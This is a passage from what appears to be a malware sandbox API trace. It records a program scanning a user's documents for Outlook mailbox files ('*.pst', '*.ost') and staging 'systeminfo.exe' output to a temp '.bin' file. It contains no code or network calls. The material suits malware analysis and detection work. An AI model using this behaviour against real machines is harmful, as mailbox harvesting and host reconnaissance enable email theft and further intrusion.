ftLastWriteTime.dwHighDateTime=0x1d4d09a, nFileSizeHigh=0x0, nFileSizeLow=0x11fa0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="2_3-k08.xlsx", cAlternateFileName="2_3-K0~1.XLS")) returned 1 [0100.518] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0100.518] PathMatchSpecW (pszFile="2_3-k08.xlsx", pszSpec="*.pst") returned 0 [0100.518] PathMatchSpecW (pszFile="2_3-k08.xlsx", pszSpec="*.ost") returned 0 [0100.518] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2658d120, ftCreationTime.dwHighDateTime=0x1d4c918, ftLastAccessTime.dwLowDateTime=0x1a70d1f0, ftLastAccessTime.dwHighDateTime=0x1d4c6a2, ftLastWriteTime.dwLowDateTime=0x1a70d1f0, ftLastWriteTime.dwHighDateTime=0x1d4c6a2, nFileSizeHigh=0x0, nFileSizeLow=0x29df, dwReserved0=0x0, dwReserved1=0x230230, cFileName="56Gkydp.pps", cAlternateFileName="")) returned 1 [0100.519] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0100.519] PathMatchSpecW (pszFile="56Gkydp.pps", pszSpec="*.pst") returned 0 [0100.519] PathMatchSpecW (pszFile="56Gkydp.pps", pszSpec="*.ost") returned 0 [0100.519] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95e33c70, ftCreationTime.dwHighDateTime=0x1d4d470, ftLastAccessTime.dwLowDateTime=0x65a909e0, ftLastAccessTime.dwHighDateTime=0x1d4ca48, ftLastWriteTime.dwLowDateTime=0x65a909e0, ftLastWriteTime.dwHighDateTime=0x1d4ca48, nFileSizeHigh=0x0, nFileSizeLow=0xc263, dwReserved0=0x0, dwReserved1=0x230230, cFileName="7C0Fj8t5ztl8.odp", cAlternateFileName="7C0FJ8~1.ODP")) returned 1 [0100.519] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0100.519] PathMatchSpecW (pszFile="7C0Fj8t5ztl8.odp", pszSpec="*.pst") returned 0 [0100.519] PathMatchSpecW (pszFile="7C0Fj8t5ztl8.odp", pszSpec="*.ost") returned 0 [0100.519] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2f6ba10, ftCreationTime.dwHighDateTime=0x1d4c71f, ftLastAccessTime.dwLowDateTime=0xc7fca330, ftLastAccessTime.dwHighDateTime=0x1d4cfda, ftLastWriteTime.dwLowDateTime=0xc7fca330, ftLastWriteTime.dwHighDateTime=0x1d4cfda, nFileSizeHigh=0x0, nFileSizeLow=0xd29a, dwReserved0=0x0, dwReserved1=0x230230, cFileName="7I2Otue.odt", cAlternateFileName="")) returned 1 [0100.519] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0100.519] PathMatchSpecW (pszFile="7I2Otue.odt", pszSpec="*.pst") returned 0 [0100.519] PathMatchSpecW (pszFile="7I2Otue.odt", pszSpec="*.ost") returned 0 [0100.519] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d11dc80, ftCreationTime.dwHighDateTime=0x1d4c893, ftLastAccessTime.dwLowDateTime=0x1adac150, ftLastAccessTime.dwHighDateTime=0x1d4cb16, ftLastWriteTime.dwLowDateTime=0x1adac150, ftLastWriteTime.dwHighDateTime=0x1d4cb16, nFileSizeHigh=0x0, nFileSizeLow=0xa345, dwReserved0=0x0, dwReserved1=0x230230, cFileName="8UJYk.ods", cAlternateFileName="")) returned 1 [0100.519] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0100.519] PathMatchSpecW (pszFile="8UJYk.ods", pszSpec="*.pst") returned 0 [0100.519] PathMatchSpecW (pszFile="8UJYk.ods", pszSpec="*.ost") returned 0 [0100.519] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3b9ebf0, ftCreationTime.dwHighDateTime=0x1d4ce85, ftLastAccessTime.dwLowDateTime=0x99a1e240, ftLastAccessTime.dwHighDateTime=0x1d4c9d4, ftLastWriteTime.dwLowDateTime=0x99a1e240, ftLastWriteTime.dwHighDateTime=0x1d4c9d4, nFileSizeHigh=0x0, nFileSizeLow=0x66a6, dwReserved0=0x0, dwReserved1=0x230230, cFileName="aKbv1Oo1ETirSfd1q gy.pdf", cAlternateFileName="AKBV1O~1.PDF")) returned 1 [0100.519] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0100.519] PathMatchSpecW (pszFile="aKbv1Oo1ETirSfd1q gy.pdf", pszSpec="*.pst") returned 0 [0100.519] PathMatchSpecW (pszFile="aKbv1Oo1ETirSfd1q gy.pdf", pszSpec="*.ost") returned 0 [0100.519] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2c56920, ftCreationTime.dwHighDateTime=0x1d4c8fb, ftLastAccessTime.dwLowDateTime=0x98c56cb0, ftLastAccessTime.dwHighDateTime=0x1d4cc8c, ftLastWriteTime.dwLowDateTime=0x98c56cb0, ftLastWriteTime.dwHighDateTime=0x1d4cc8c, nFileSizeHigh=0x0, nFileSizeLow=0x12e35, dwReserved0=0x0, dwReserved1=0x230230, cFileName="am7J3-.ods", cAlternateFileName="")) returned 1 [0100.519] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0100.519] PathMatchSpecW (pszFile="am7J3-.ods", pszSpec="*.pst") returned 0 [0100.519] PathMatchSpecW (pszFile="am7J3-.ods", pszSpec="*.ost") returned 0 [0100.519] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6dc99470, ftCreationTime.dwHighDateTime=0x1d4c5a5, ftLastAccessTime.dwLowDateTime=0x9f2f7f10, ftLastAccessTime.dwHighDateTime=0x1d4d2e9, ftLastWriteTime.dwLowDateTime=0x9f2f7f10, ftLastWriteTime.dwHighDateTime=0x1d4d2e9, nFileSizeHigh=0x0, nFileSizeLow=0xa980, dwReserved0=0x0, dwReserved1=0x230230, cFileName="aRTD.ots", cAlternateFileName="")) returned 1 [0100.519] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0100.519] PathMatchSpecW (pszFile="aRTD.ots", pszSpec="*.pst") returned 0 [0100.519] PathMatchSpecW (pszFile="aRTD.ots", pszSpec="*.ost") returned 0 [0100.519] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24c45510, ftCreationTime.dwHighDateTime=0x1d4d245, ftLastAccessTime.dwLowDateTime=0x279f2c00, ftLastAccessTime.dwHighDateTime=0x1d4cc06, ftLastWriteTime.dwLowDateTime=0x279f2c00, ftLastWriteTime.dwHighDateTime=0x1d4cc06, nFileSizeHigh=0x0, nFileSizeLow=0xefb6, dwReserved0=0x0, dwReserved1=0x230230, cFileName="atEPrko.doc", cAlternateFileName="")) returned 1 [0100.519] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0100.519] PathMatchSpecW (pszFile="atEPrko.doc", pszSpec="*.pst") returned 0 [0100.519] PathMatchSpecW (pszFile="atEPrko.doc", pszSpec="*.ost") returned 0 [0100.519] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9897d30, ftCreationTime.dwHighDateTime=0x1d4cf91, ftLastAccessTime.dwLowDateTime=0x56e87620, ftLastAccessTime.dwHighDateTime=0x1d4c90d, ftLastWriteTime.dwLowDateTime=0x56e87620, ftLastWriteTime.dwHighDateTime=0x1d4c90d, nFileSizeHigh=0x0, nFileSizeLow=0xee80, dwReserved0=0x0, dwReserved1=0x230230, cFileName="BF77dVayz84Lz3Pys.odp", cAlternateFileName="BF77DV~1.ODP")) returned 1 [0100.519] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0100.519] PathMatchSpecW (pszFile="BF77dVayz84Lz3Pys.odp", pszSpec="*.pst") returned 0 [0100.520] PathMatchSpecW (pszFile="BF77dVayz84Lz3Pys.odp", pszSpec="*.ost") returned 0 [0100.520] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c4bee30, ftCreationTime.dwHighDateTime=0x1d4d338, ftLastAccessTime.dwLowDateTime=0x8daf3570, ftLastAccessTime.dwHighDateTime=0x1d4cf45, ftLastWriteTime.dwLowDateTime=0x8daf3570, ftLastWriteTime.dwHighDateTime=0x1d4cf45, nFileSizeHigh=0x0, nFileSizeLow=0x156ad, dwReserved0=0x0, dwReserved1=0x230230, cFileName="cn_0BRgl4hM-kJ8wE.pps", cAlternateFileName="CN_0BR~1.PPS")) returned 1 [0100.520] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0100.520] PathMatchSpecW (pszFile="cn_0BRgl4hM-kJ8wE.pps", pszSpec="*.pst") returned 0 [0100.520] PathMatchSpecW (pszFile="cn_0BRgl4hM-kJ8wE.pps", pszSpec="*.ost") returned 0 [0100.520] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d410350, ftCreationTime.dwHighDateTime=0x1d4c5a7, ftLastAccessTime.dwLowDateTime=0x1af16620, ftLastAccessTime.dwHighDateTime=0x1d4c5fe, ftLastWriteTime.dwLowDateTime=0x1af16620, ftLastWriteTime.dwHighDateTime=0x1d4c5fe, nFileSizeHigh=0x0, nFileSizeLow=0x16ac4, dwReserved0=0x0, dwReserved1=0x230230, cFileName="dwVc1-CZ_s8dDnb6LtW.doc", cAlternateFileName="DWVC1-~1.DOC")) returned 1 [0100.520] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0100.520] PathMatchSpecW (pszFile="dwVc1-CZ_s8dDnb6LtW.doc", pszSpec="*.pst") returned 0 [0100.520] PathMatchSpecW (pszFile="dwVc1-CZ_s8dDnb6LtW.doc", pszSpec="*.ost") returned 0 [0100.520] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b869560, ftCreationTime.dwHighDateTime=0x1d4c5e4, ftLastAccessTime.dwLowDateTime=0xe88aab00, ftLastAccessTime.dwHighDateTime=0x1d4cdba, ftLastWriteTime.dwLowDateTime=0xe88aab00, ftLastWriteTime.dwHighDateTime=0x1d4cdba, nFileSizeHigh=0x0, nFileSizeLow=0x17059, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Hof4UNjCwmniuVp7kzhw.csv", cAlternateFileName="HOF4UN~1.CSV")) returned 1 [0100.520] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0100.520] PathMatchSpecW (pszFile="Hof4UNjCwmniuVp7kzhw.csv", pszSpec="*.pst") returned 0 [0100.520] PathMatchSpecW (pszFile="Hof4UNjCwmniuVp7kzhw.csv", pszSpec="*.ost") returned 0 [0100.520] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e952fd0, ftCreationTime.dwHighDateTime=0x1d4d140, ftLastAccessTime.dwLowDateTime=0x62a13570, ftLastAccessTime.dwHighDateTime=0x1d4d5eb, ftLastWriteTime.dwLowDateTime=0x62a13570, ftLastWriteTime.dwHighDateTime=0x1d4d5eb, nFileSizeHigh=0x0, nFileSizeLow=0x906a, dwReserved0=0x0, dwReserved1=0x230230, cFileName="KBQZNG4i7j8.ots", cAlternateFileName="KBQZNG~1.OTS")) returned 1 [0100.520] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0100.520] PathMatchSpecW (pszFile="KBQZNG4i7j8.ots", pszSpec="*.pst") returned 0 [0100.520] PathMatchSpecW (pszFile="KBQZNG4i7j8.ots", pszSpec="*.ost") returned 0 [0100.520] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40f640a0, ftCreationTime.dwHighDateTime=0x1d4cb41, ftLastAccessTime.dwLowDateTime=0x632f8b20, ftLastAccessTime.dwHighDateTime=0x1d4ccc9, ftLastWriteTime.dwLowDateTime=0x632f8b20, ftLastWriteTime.dwHighDateTime=0x1d4ccc9, nFileSizeHigh=0x0, nFileSizeLow=0xafb2, dwReserved0=0x0, dwReserved1=0x230230, cFileName="MfwyTnE4iFa5h9ugGQrN.pdf", cAlternateFileName="MFWYTN~1.PDF")) returned 1 [0100.520] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0100.520] PathMatchSpecW (pszFile="MfwyTnE4iFa5h9ugGQrN.pdf", pszSpec="*.pst") returned 0 [0100.520] PathMatchSpecW (pszFile="MfwyTnE4iFa5h9ugGQrN.pdf", pszSpec="*.ost") returned 0 [0100.520] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf191bb40, ftCreationTime.dwHighDateTime=0x1d4d51b, ftLastAccessTime.dwLowDateTime=0x917bd0a0, ftLastAccessTime.dwHighDateTime=0x1d4cc8e, ftLastWriteTime.dwLowDateTime=0x917bd0a0, ftLastWriteTime.dwHighDateTime=0x1d4cc8e, nFileSizeHigh=0x0, nFileSizeLow=0xa5d2, dwReserved0=0x0, dwReserved1=0x230230, cFileName="NPKnafg svyW-4p.rtf", cAlternateFileName="NPKNAF~1.RTF")) returned 1 [0100.520] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0100.520] PathMatchSpecW (pszFile="NPKnafg svyW-4p.rtf", pszSpec="*.pst") returned 0 [0100.520] PathMatchSpecW (pszFile="NPKnafg svyW-4p.rtf", pszSpec="*.ost") returned 0 [0100.520] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe94410a0, ftCreationTime.dwHighDateTime=0x1d4cca1, ftLastAccessTime.dwLowDateTime=0x78a345b0, ftLastAccessTime.dwHighDateTime=0x1d4cbf1, ftLastWriteTime.dwLowDateTime=0x78a345b0, ftLastWriteTime.dwHighDateTime=0x1d4cbf1, nFileSizeHigh=0x0, nFileSizeLow=0x66f5, dwReserved0=0x0, dwReserved1=0x230230, cFileName="ob40zEva5DRKY8OHuTA.pdf", cAlternateFileName="OB40ZE~1.PDF")) returned 1 [0100.520] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0100.520] PathMatchSpecW (pszFile="ob40zEva5DRKY8OHuTA.pdf", pszSpec="*.pst") returned 0 [0100.520] PathMatchSpecW (pszFile="ob40zEva5DRKY8OHuTA.pdf", pszSpec="*.ost") returned 0 [0100.520] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12839e20, ftCreationTime.dwHighDateTime=0x1d4c8ad, ftLastAccessTime.dwLowDateTime=0xf949ad20, ftLastAccessTime.dwHighDateTime=0x1d4cfc1, ftLastWriteTime.dwLowDateTime=0xf949ad20, ftLastWriteTime.dwHighDateTime=0x1d4cfc1, nFileSizeHigh=0x0, nFileSizeLow=0xe43c, dwReserved0=0x0, dwReserved1=0x230230, cFileName="p0wZEr1Gdg6.xlsx", cAlternateFileName="P0WZER~1.XLS")) returned 1 [0100.520] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0100.520] PathMatchSpecW (pszFile="p0wZEr1Gdg6.xlsx", pszSpec="*.pst") returned 0 [0100.520] PathMatchSpecW (pszFile="p0wZEr1Gdg6.xlsx", pszSpec="*.ost") returned 0 [0100.520] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f1a0d10, ftCreationTime.dwHighDateTime=0x1d4d35e, ftLastAccessTime.dwLowDateTime=0x6f0d0070, ftLastAccessTime.dwHighDateTime=0x1d4c793, ftLastWriteTime.dwLowDateTime=0x6f0d0070, ftLastWriteTime.dwHighDateTime=0x1d4c793, nFileSizeHigh=0x0, nFileSizeLow=0x1819c, dwReserved0=0x0, dwReserved1=0x230230, cFileName="RsHGGmP1G3j3saqYtZFf.pptx", cAlternateFileName="RSHGGM~1.PPT")) returned 1 [0100.520] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0100.521] PathMatchSpecW (pszFile="RsHGGmP1G3j3saqYtZFf.pptx", pszSpec="*.pst") returned 0 [0100.521] PathMatchSpecW (pszFile="RsHGGmP1G3j3saqYtZFf.pptx", pszSpec="*.ost") returned 0 [0100.521] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda438700, ftCreationTime.dwHighDateTime=0x1d4c7df, ftLastAccessTime.dwLowDateTime=0x2062e1a0, ftLastAccessTime.dwHighDateTime=0x1d4d4b4, ftLastWriteTime.dwLowDateTime=0x2062e1a0, ftLastWriteTime.dwHighDateTime=0x1d4d4b4, nFileSizeHigh=0x0, nFileSizeLow=0x102d, dwReserved0=0x0, dwReserved1=0x230230, cFileName="SjLKY_5Dm-8SOC.xls", cAlternateFileName="SJLKY_~1.XLS")) returned 1 [0100.521] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0100.521] PathMatchSpecW (pszFile="SjLKY_5Dm-8SOC.xls", pszSpec="*.pst") returned 0 [0100.521] PathMatchSpecW (pszFile="SjLKY_5Dm-8SOC.xls", pszSpec="*.ost") returned 0 [0100.521] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27b8e510, ftCreationTime.dwHighDateTime=0x1d4c6a1, ftLastAccessTime.dwLowDateTime=0xf06bad0, ftLastAccessTime.dwHighDateTime=0x1d4cc7b, ftLastWriteTime.dwLowDateTime=0xf06bad0, ftLastWriteTime.dwHighDateTime=0x1d4cc7b, nFileSizeHigh=0x0, nFileSizeLow=0x48ec, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Tlfrf.pdf", cAlternateFileName="")) returned 1 [0100.521] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0100.521] PathMatchSpecW (pszFile="Tlfrf.pdf", pszSpec="*.pst") returned 0 [0100.521] PathMatchSpecW (pszFile="Tlfrf.pdf", pszSpec="*.ost") returned 0 [0100.521] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x825b95c0, ftCreationTime.dwHighDateTime=0x1d4ca58, ftLastAccessTime.dwLowDateTime=0x1f2dc590, ftLastAccessTime.dwHighDateTime=0x1d4d25a, ftLastWriteTime.dwLowDateTime=0x1f2dc590, ftLastWriteTime.dwHighDateTime=0x1d4d25a, nFileSizeHigh=0x0, nFileSizeLow=0x12115, dwReserved0=0x0, dwReserved1=0x230230, cFileName="wUbOzMUHShGB0.odp", cAlternateFileName="WUBOZM~1.ODP")) returned 1 [0100.521] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0100.521] PathMatchSpecW (pszFile="wUbOzMUHShGB0.odp", pszSpec="*.pst") returned 0 [0100.521] PathMatchSpecW (pszFile="wUbOzMUHShGB0.odp", pszSpec="*.ost") returned 0 [0100.521] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67321970, ftCreationTime.dwHighDateTime=0x1d4d491, ftLastAccessTime.dwLowDateTime=0x8034b7e0, ftLastAccessTime.dwHighDateTime=0x1d4d01b, ftLastWriteTime.dwLowDateTime=0x8034b7e0, ftLastWriteTime.dwHighDateTime=0x1d4d01b, nFileSizeHigh=0x0, nFileSizeLow=0x9af, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Z3zsui1f6tKO9.odt", cAlternateFileName="Z3ZSUI~1.ODT")) returned 1 [0100.521] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0100.521] PathMatchSpecW (pszFile="Z3zsui1f6tKO9.odt", pszSpec="*.pst") returned 0 [0100.521] PathMatchSpecW (pszFile="Z3zsui1f6tKO9.odt", pszSpec="*.ost") returned 0 [0100.521] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd2191f0, ftCreationTime.dwHighDateTime=0x1d4d3f3, ftLastAccessTime.dwLowDateTime=0x1fe88fb0, ftLastAccessTime.dwHighDateTime=0x1d4d1ce, ftLastWriteTime.dwLowDateTime=0x1fe88fb0, ftLastWriteTime.dwHighDateTime=0x1d4d1ce, nFileSizeHigh=0x0, nFileSizeLow=0xe472, dwReserved0=0x0, dwReserved1=0x230230, cFileName="ZtzB50.ods", cAlternateFileName="")) returned 1 [0100.521] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0100.521] PathMatchSpecW (pszFile="ZtzB50.ods", pszSpec="*.pst") returned 0 [0100.521] PathMatchSpecW (pszFile="ZtzB50.ods", pszSpec="*.ost") returned 0 [0100.521] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd2191f0, ftCreationTime.dwHighDateTime=0x1d4d3f3, ftLastAccessTime.dwLowDateTime=0x1fe88fb0, ftLastAccessTime.dwHighDateTime=0x1d4d1ce, ftLastWriteTime.dwLowDateTime=0x1fe88fb0, ftLastWriteTime.dwHighDateTime=0x1d4d1ce, nFileSizeHigh=0x0, nFileSizeLow=0xe472, dwReserved0=0x0, dwReserved1=0x230230, cFileName="ZtzB50.ods", cAlternateFileName="")) returned 0 [0100.521] FindClose (in: hFindFile=0x4466460 | out: hFindFile=0x4466460) returned 1 [0100.522] FindNextFileW (in: hFindFile=0x4466d00, lpFindFileData=0x6a1f190 | out: lpFindFileData=0x6a1f190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d085c0, ftCreationTime.dwHighDateTime=0x1d4d1b8, ftLastAccessTime.dwLowDateTime=0x8131b160, ftLastAccessTime.dwHighDateTime=0x1d4d440, ftLastWriteTime.dwLowDateTime=0x8131b160, ftLastWriteTime.dwHighDateTime=0x1d4d440, nFileSizeHigh=0x0, nFileSizeLow=0x1732e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XVVo133TnKkCQ.xlsx", cAlternateFileName="XVVO13~1.XLS")) returned 1 [0100.522] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0100.522] PathMatchSpecW (pszFile="XVVo133TnKkCQ.xlsx", pszSpec="*.pst") returned 0 [0100.522] PathMatchSpecW (pszFile="XVVo133TnKkCQ.xlsx", pszSpec="*.ost") returned 0 [0100.522] FindNextFileW (in: hFindFile=0x4466d00, lpFindFileData=0x6a1f190 | out: lpFindFileData=0x6a1f190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x169a5b40, ftCreationTime.dwHighDateTime=0x1d4f2a4, ftLastAccessTime.dwLowDateTime=0x212a28d0, ftLastAccessTime.dwHighDateTime=0x1d50d55, ftLastWriteTime.dwLowDateTime=0x212a28d0, ftLastWriteTime.dwHighDateTime=0x1d50d55, nFileSizeHigh=0x0, nFileSizeLow=0x771a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZdbtJVvb-6FXnFWxnrvN.xlsx", cAlternateFileName="ZDBTJV~1.XLS")) returned 1 [0100.522] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0100.522] PathMatchSpecW (pszFile="ZdbtJVvb-6FXnFWxnrvN.xlsx", pszSpec="*.pst") returned 0 [0100.522] PathMatchSpecW (pszFile="ZdbtJVvb-6FXnFWxnrvN.xlsx", pszSpec="*.ost") returned 0 [0100.522] FindNextFileW (in: hFindFile=0x4466d00, lpFindFileData=0x6a1f190 | out: lpFindFileData=0x6a1f190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a9d7450, ftCreationTime.dwHighDateTime=0x1d510d7, ftLastAccessTime.dwLowDateTime=0xf751c4f0, ftLastAccessTime.dwHighDateTime=0x1d49d51, ftLastWriteTime.dwLowDateTime=0xf751c4f0, ftLastWriteTime.dwHighDateTime=0x1d49d51, nFileSizeHigh=0x0, nFileSizeLow=0x2da6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_IJOcqcmeHFr9tYfyh.pptx", cAlternateFileName="_IJOCQ~1.PPT")) returned 1 [0100.522] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0100.522] PathMatchSpecW (pszFile="_IJOcqcmeHFr9tYfyh.pptx", pszSpec="*.pst") returned 0 [0100.522] PathMatchSpecW (pszFile="_IJOcqcmeHFr9tYfyh.pptx", pszSpec="*.ost") returned 0 [0100.522] FindNextFileW (in: hFindFile=0x4466d00, lpFindFileData=0x6a1f190 | out: lpFindFileData=0x6a1f190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a9d7450, ftCreationTime.dwHighDateTime=0x1d510d7, ftLastAccessTime.dwLowDateTime=0xf751c4f0, ftLastAccessTime.dwHighDateTime=0x1d49d51, ftLastWriteTime.dwLowDateTime=0xf751c4f0, ftLastWriteTime.dwHighDateTime=0x1d49d51, nFileSizeHigh=0x0, nFileSizeLow=0x2da6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_IJOcqcmeHFr9tYfyh.pptx", cAlternateFileName="_IJOCQ~1.PPT")) returned 0 [0100.522] FindClose (in: hFindFile=0x4466d00 | out: hFindFile=0x4466d00) returned 1 [0100.522] IStream:RemoteSeek (in: This=0x43d29b0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0100.522] IStream:Stat (in: This=0x43d29b0, pstatstg=0x6a1f8f0, grfStatFlag=0x1 | out: pstatstg=0x6a1f8f0) returned 0x0 [0100.522] IUnknown:Release (This=0x43d29b0) returned 0x0 [0100.522] CoUninitialize () [0100.522] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dc70 | out: hHeap=0x9770000) returned 1 Thread: id = 222 os_tid = 0x740 [0096.108] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0x26 [0096.108] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x43) returned 0x9b6dcd0 [0096.108] GetTempPathA (in: nBufferLength=0x26, lpBuffer=0x9b6dcd0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\") returned 0x25 [0096.108] GetTickCount () returned 0x2515a [0096.108] GetTempFileNameA (in: lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\", lpPrefixString=0x0, uUnique=0x1151d0e, lpTempFileName=0x9b6dcd0 | out: lpTempFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.tmp" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\1d0e.tmp")) returned 0x1d0e [0096.109] GetProcAddress (hModule=0x7fefd5c0000, lpProcName="PathFindExtensionA") returned 0x7fefd5eb358 [0096.109] PathFindExtensionA (pszPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.tmp") returned=".tmp" [0096.109] lstrcpyA (in: lpString1=0x9b6dcf9, lpString2=".bin" | out: lpString1=".bin") returned=".bin" [0096.109] lstrlenA (lpString="systeminfo.exe ") returned 15 [0096.109] lstrlenA (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin") returned 45 [0096.109] RtlAllocateHeap 